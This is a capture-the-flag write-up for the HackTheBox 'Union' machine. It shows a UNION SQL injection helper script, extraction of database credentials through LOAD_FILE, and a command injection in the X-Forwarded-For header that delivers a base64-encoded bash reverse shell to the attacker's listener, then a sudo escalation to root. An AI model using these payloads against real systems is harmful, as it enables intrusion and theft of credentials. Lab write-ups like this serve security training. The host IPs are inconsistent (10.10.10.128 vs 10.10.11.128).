HackTheBox Union Writeup
Explore the fundamentals of cybersecurity in the Union Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
10.10.10.128 union.htb
Script to add hosts automatically
1
2
3
ip="10.10.10.128"
domain="union.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
1
nmap -sCV 10.10.11.128
1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.10.11.128
Host is up (0.049s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Exploration
Access the target URL:
1
http://10.10.11.128/
Use ffuf
to discover endpoints:
1
ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.128/FUZZ -e .php -fs 1220
Found Endpoints:
css
: Status 301, Size 178firewall.php
: Status 200, Size 13config.php
: Status 200, Size 0challenge.php
: Status 200, Size 772
Union SQL Injection
Union SQL Injection allows combining results from multiple SELECT
statements. More information can be found here.
Testing Input
Testing the player
parameter with curl
shows normal inputs don’t work, but UNION SQL injections targeting a single column do:
1
curl http://10.10.11.128/index.php -d "player=' union select database() -- -"
Response:
1
Sorry, november, you are not eligible due to already qualifying.
Extracting Data
Use this simple script to perform sql querries:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
POST_URL="http://10.10.11.128/index.php"
POST_DATA="player=' union %s -- -"
PATTERN="Sorry, (.*) you are not eligible due to already qualifying."
function send_post {
local sqli=$1
response=$(curl -s -d "$(printf "$POST_DATA" "$sqli")" "$POST_URL")
if [[ $response == Sorry* ]]; then
if [[ $response =~ $PATTERN ]]; then
echo "${match[1]}"
else
echo "No match found in response."
fi
else
echo "ERROR"
fi
}
while true; do
echo -n "SQLi> "
read sqli
if [[ $sqli == "exit" ]]; then
break
elif [[ -z $sqli ]]; then
continue
fi
send_post "$sqli"
done
SQL Queries:
- Get the database name:
1
SELECT database();
Output:
november
- List tables:
1
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'november';
Output:
flag, players
- List columns in
flag
table:1
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag';
Output:
one
- Retrieve the flag:
1
SELECT one FROM flag;
Access http://10.10.11.128/challenge.php and enter the flag to open port 22 to your ip.
- Load configuration file:
1
SELECT LOAD_FILE('/var/www/html/config.php');
Contents of config.php
:
1
2
3
4
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";
SSH Access:
1
ssh uhc@10.10.11.128
Retrieve the user flag:
1
cat user.txt
On the SSH machine, inspect the firewall.php
file:
1
cat /var/www/html/firewall.php
The script uses sudo
to execute a system command, indicating that the www-data
user may have elevated permissions. The $ip
variable is vulnerable to command injection due to its direct concatenation in the command. This can be exploited by modifying the X-Forwarded-For
HTTP request header and appending a command using a semicolon (;
) or a comment (#
).
Set up a listener for incoming connections with:
1
nc -lvnp 9001
1
2
3
4
echo -en "PHPSESSID Coockie? "
read coockie
ip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
curl 10.10.11.128/firewall.php -H "X-Forwarded-For: ; echo $(echo -n 'bash -i >& /dev/tcp/'$ip'/9001 0>&1' | base64 ) | base64 -d | bash ;" -H 'Cookie: PHPSESSID='$coockie''
1
2
3
sudo -l
sudo su
cat /root/root.txt